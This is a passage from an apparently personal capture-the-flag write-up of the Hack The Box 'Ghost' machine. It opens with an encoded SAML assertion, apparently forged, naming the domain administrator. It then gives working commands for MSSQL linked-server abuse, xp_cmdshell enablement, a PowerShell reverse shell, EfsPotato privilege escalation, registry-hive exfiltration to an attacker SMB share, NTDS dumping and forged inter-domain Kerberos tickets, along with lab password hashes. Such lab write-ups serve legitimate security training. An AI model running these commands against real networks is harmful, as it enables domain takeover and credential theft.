ZMZGNWUnNVblJoL1dIaVh3Sk9PRVZFQ2E5dzcveVZuaGFsQ05CeDFFL2w0S1FJREFRQUJNQTBHQ1NxR1NJYjNEUUVCQ3dVQUE0SUNBUUFXWUtaVzNjRENCTzZkVDN5ZmwzT2N1eXAxTFZLVkkrOXBGeC9iYldwV2pTZGg2YjM5TFR4eEQ3RllVdGh1V1BaM3JGNEcrRmRNRkhIQ3gzWXBFbVVGbkVMS3NYcWhaOTg5QVg1OEkvM21iZlVsS1dlSVBMU0xrcCtlUlpvTUprdDdrMS9LWHREYXNPUW4wTnNnWUVvd0xCSW1NQ011OXV1am5DbUZPd0hQL0lCaGdZUU1IaDQ2QnpTWFdQM2k4VlhiclJ0RHBvL2MvL09GSmhHbW5uRjhaUG1pNHh0emZTREJwVktxd1ZMcDc4Q2d1TXhqUWQrYmRVYjQ1NTg4Wko0Q0xzUGRSUXAzMFdKMS9DTklhZW52Sld0QTJHNUladzVVMEVXQ0pMb1lKV0ZzOWl5T2ExL3k1NXJ1VzZKOGxJR0Qwd21vRWVDbDlDSDFFZDRkelVkVVhmMU1CQ1lQM1g5MmlheHpVRTB1cEdkLzFRbzZIVHl5T2xXdUF3cmtUMlZIRUxLVlpLT2c4K2RseTk3Z3laSWZVdFF3SWtQd05sOHZvMDRjZmoraHpPdkJ6UEtBQVloMTROTGd2ZUFJL0RxTW5PME9LTyt3MUhCS3c2NE5CQ244Z29hekYrUHVGZlVPMHlOSEZMNGt4TXBjYXA2aWV2NmczQlhDU0R3ZnFUVU9FdUVzN3E5b1lLZ3EycW5OVk9USWhoSW5NWEJ6RW02aVAxM2pmdU9vWEpkUEFuRVVYbjR5NXl3QTk3cnRiR25aRVB5eDFmMUVrWC9oYnFCUDR2b2d2OWtsdGFVRUVWWGtTK2hQcHhabWV4Q05yQkQxcTdHSi81MGViWWxDMENldjh3Nk1zOHRNME9ydnBwR1lsV3J0UHdldkV2ZmlSa3dCTEc3RU1BbkxTdz09PC9kczpYNTA5Q2VydGlmaWNhdGU%2BPC9kczpYNTA5RGF0YT48L2RzOktleUluZm8%2BPC9kczpTaWduYXR1cmU%2BPFN1YmplY3Q%2BPE5hbWVJRCBGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpuYW1laWQtZm9ybWF0OnRyYW5zaWVudCI%2BR0hPU1QuSFRCXGFkbWluaXN0cmF0b3I8L05hbWVJRD48U3ViamVjdENvbmZpcm1hdGlvbiBNZXRob2Q9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpjbTpiZWFyZXIiPjxTdWJqZWN0Q29uZmlybWF0aW9uRGF0YSBOb3RPbk9yQWZ0ZXI9IjIwMjUtMDQtMDRUMjE6MzA6MjUuMDAwWiIgUmVjaXBpZW50PSJodHRwczovL2NvcmUuZ2hvc3QuaHRiOjg0NDMvYWRmcy9zYW1sL3Bvc3RSZXNwb25zZSIvPjwvU3ViamVjdENvbmZpcm1hdGlvbj48L1N1YmplY3Q%2BPENvbmRpdGlvbnMgTm90QmVmb3JlPSIyMDI1LTA0LTA0VDIxOjI1OjI1LjAwMFoiIE5vdE9uT3JBZnRlcj0iMjAyNS0wNC0wNFQyMjoyNToyNS4wMDBaIj48QXVkaWVuY2VSZXN0cmljdGlvbj48QXVkaWVuY2U%2BaHR0cHM6Ly9jb3JlLmdob3N0Lmh0Yjo4NDQzPC9BdWRpZW5jZT48L0F1ZGllbmNlUmVzdHJpY3Rpb24%2BPC9Db25kaXRpb25zPjxBdHRyaWJ1dGVTdGF0ZW1lbnQ%2BPEF0dHJpYnV0ZSBOYW1lPSJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy91cG4iPjxBdHRyaWJ1dGVWYWx1ZT5HSE9TVFxhZG1pbmlzdHJhdG9yPC9BdHRyaWJ1dGVWYWx1ZT48L0F0dHJpYnV0ZT48QXR0cmlidXRlIE5hbWU9Imh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL2NsYWltcy9Db21tb25OYW1lIj48QXR0cmlidXRlVmFsdWU%2BQWRtaW5pc3RyYXRvcjwvQXR0cmlidXRlVmFsdWU%2BPC9BdHRyaWJ1dGU%2BPC9BdHRyaWJ1dGVTdGF0ZW1lbnQ%2BPEF1dGhuU3RhdGVtZW50IEF1dGhuSW5zdGFudD0iMjAyNS0wNC0wNFQyMToyNToyNC41MDBaIiBTZXNzaW9uSW5kZXg9Il84MjJUUDEiPjxBdXRobkNvbnRleHQ%2BPEF1dGhuQ29udGV4dENsYXNzUmVmPnVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphYzpjbGFzc2VzOlBhc3N3b3JkUHJvdGVjdGVkVHJhbnNwb3J0PC9BdXRobkNvbnRleHRDbGFzc1JlZj48L0F1dGhuQ29udGV4dD48L0F1dGhuU3RhdGVtZW50PjwvQXNzZXJ0aW9uPjwvc2FtbHA6UmVzcG9uc2U%2B
Exploiting the linked DB in MSSQL #
We can add the corp.ghost.htb
subdomain to our /etc/hosts
and look at how this MSSQL debug terminal works. It seems like we are using it as web client
:
- We can also check that we can not use
xp_cmdshell
with our current privileges - We see the databases are :
- master
- tempdb
- model
- msdb
With the following command we manage to get the hash of the DC01$ User
EXEC master..xp_dirtree '\\<MY_IP>\share\'
sudo responder -w -v -I tun0
This NetNTLM Hash does not help so let’s check if we can impersonate someone :
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
SELECT srvname, isremote FROM sysservers
We can see that the PRIMARY
database is linked (isremote
is at false
) :
EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [PRIMARY]
Escalating privileges in the remote MSSQL server and getting a reverse shell #
This means we can execute command as bridge_corp on the other end. We can also check this using
EXEC sp_helplinkedsrvlogin
EXECUTE('xp_cmdshell ''dir c:\''') AT [PRIMARY]
So let us now check as we did before if we can impersonate someone :
EXECUTE(' SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = ''IMPERSONATE''') AT [PRIMARY]
EXECUTE('EXECUTE AS LOGIN = ''sa'' SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER(''sysadmin'')') AT [PRIMARY]
We can now enable command execution :
EXECUTE('EXECUTE AS LOGIN = ''sa'' EXECUTE sp_configure ''show advanced options'', 1 RECONFIGURE EXECUTE sp_configure ''xp_cmdshell'', 1 RECONFIGURE') AT [PRIMARY]
Now we can run any command with
EXECUTE('EXECUTE AS LOGIN = ''sa'' EXEC xp_cmdshell ''<CMD>''') AT [PRIMARY]
For instance :
EXECUTE('EXECUTE AS LOGIN = ''sa'' EXEC xp_cmdshell ''dir C:\''') AT [PRIMARY]
Let us now execute a base64 PowerShell reverse shell from https://www.revshells.com/ Start a listener :
rlwrap -cAr nc -lnvp 4444
We run the base64 PowerShell reverse shell but get an error ! Good thing since it means it executed the code, bad thing since this means the antivirus is checking :
powerjoker
and 🎉 here’s the shell :)
Privesc on the Windows machine #
We now have the seimpersonate
privilege which is quite useful 😁
We can then try to grab the code for efspotato and compile it on the machine :
wget https://raw.githubusercontent.com/zcgonvh/EfsPotato/refs/heads/master/EfsPotato.cs
python -m http.server
then
(New-Object Net.WebClient).DownloadFile('http://10.10.16.64:8000/EfsPotato.cs','C:\Users\Public\a.cs')
csc is not in the path (or not installed but luckily it was) but we know the csc.exe should be in c:\Windows\Microsoft.NET\Framework\vX.X.XXX
based on the docs
Basing ourselves off of the documentation for compiling with version 4.X
We can now generate a powershell payload with PowerJocker again but for port 4242
this time and then pass it to our EFSpotato (green box) to finally get a hit (red box) :
Exploit the trust link to get Administrator on the parent domain #
So now that we are the admin of this machine we may be able to move from corp.ghost.htb
to ghost.htb
by exploiting the trust link between both. To do so we can create a ticket on the parent domain for an account in the child, if we have the trust key.
Let us dump the registry with reg save :
reg.exe save hklm\sam C:\sam.save
reg.exe save hklm\system C:\system.save
reg.exe save hklm\security C:\security.save
sudo impacket-smbserver share . -smb2support -username pentester -password 92b165232fbd011da355eca0b033db22b934ba9af0145a437a832d27310b89f9
net use \\10.10.16.64\share /u:pentester 92b165232fbd011da355eca0b033db22b934ba9af0145a437a832d27310b89f9
copy C:\sam.save \\10.10.16.64\share\
copy C:\security.save \\10.10.16.64\share\
copy C:\system.save \\10.10.16.64\share\
Then run
secretsdump.py -sam sam.save -security security.save -system system.save LOCAL > ../loots/DC01/dump
We have the machine hash and can now use is to dump the NTDS, to get the trust key in order to use ticketer.py
.
For that we need to setup a network proxy since the machine is not in the same subnet.
sudo ip tuntap add user kali mode tun ligolo1
sudo ip link set ligolo1 up
ligolo-proxy -selfcert -laddr 0.0.0.0:443
sudo ip route add 10.0.0.0/24 dev ligolo1
And run in the ligolo interface :
start --tun ligolo1
We can now run
nxc smb 10.0.0.10 -u 'PRIMARY$' -H '27f92da5e3d79962020ddebc08ed7d70' --ntds
and we get
Administrator:500:aad3b435b51404eeaad3b435b51404ee:41515af3ada195029708a53d941ab751:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:69eb46aa347a8c68edb99be2725403ab::: PRIMARY$:1000:aad3b435b51404eeaad3b435b51404ee:27f92da5e3d79962020ddebc08ed7d70::: GHOST$:1103:aad3b435b51404eeaad3b435b51404ee:00734331c444199a36bf9b2b1a69e5d5:::
To get to the parent domain we need :
- The trust key :
GHOST$:1103:aad3b435b51404eeaad3b435b51404ee:00734331c444199a36bf9b2b1a69e5d5:::
- The SID of the parent domain :
S-1-5-21-4084500788-938703357-3654145966
to which we will append the-519
which represents theEnterprise Admins
(as mentionned here) - The SID of the child domain :
S-1-5-21-2034262909-2733679486-179904498
both SIDs can be found on bloodhound for instance, usinganalysis
>map domain trust
and then looking into the information related to each node
And we create the ticket using :
ticketer.py -nthash '00734331c444199a36bf9b2b1a69e5d5' -domain 'corp.ghost.htb' -domain-sid S-1-5-21-2034262909-2733679486-179904498 -extra-sid S-1-5-21-4084500788-938703357-3654145966-519 -spn krbtgt/'ghost.htb' Administrator
We can now export the ticket :
export KRB5CCNAME=~/Documents/HTB/Boxes/Ghost/loots/AD/Administrator.ccache
With this we can request a TGS for accessing SMB shares on the DC :
getST.py -k -no-pass -spn 'CIFS/DC01' 'ghost.htb'/'Administrator@corp.ghost.htb'
We can now export it :
export KRB5CCNAME=~/Documents/HTB/Boxes/Ghost/loots/AD/Administrator@corp.ghost.htb@CIFS_DC01@GHOST.HTB.ccache
And we can (finally !) grab the flag from the share
smbclient.py 'corp.ghost.htb'/'Administrator'@DC01 -k -no-pass
PS : I saw afterward the Ippsec just released a video writeup which is great ! If you want a video version be sure to check it out :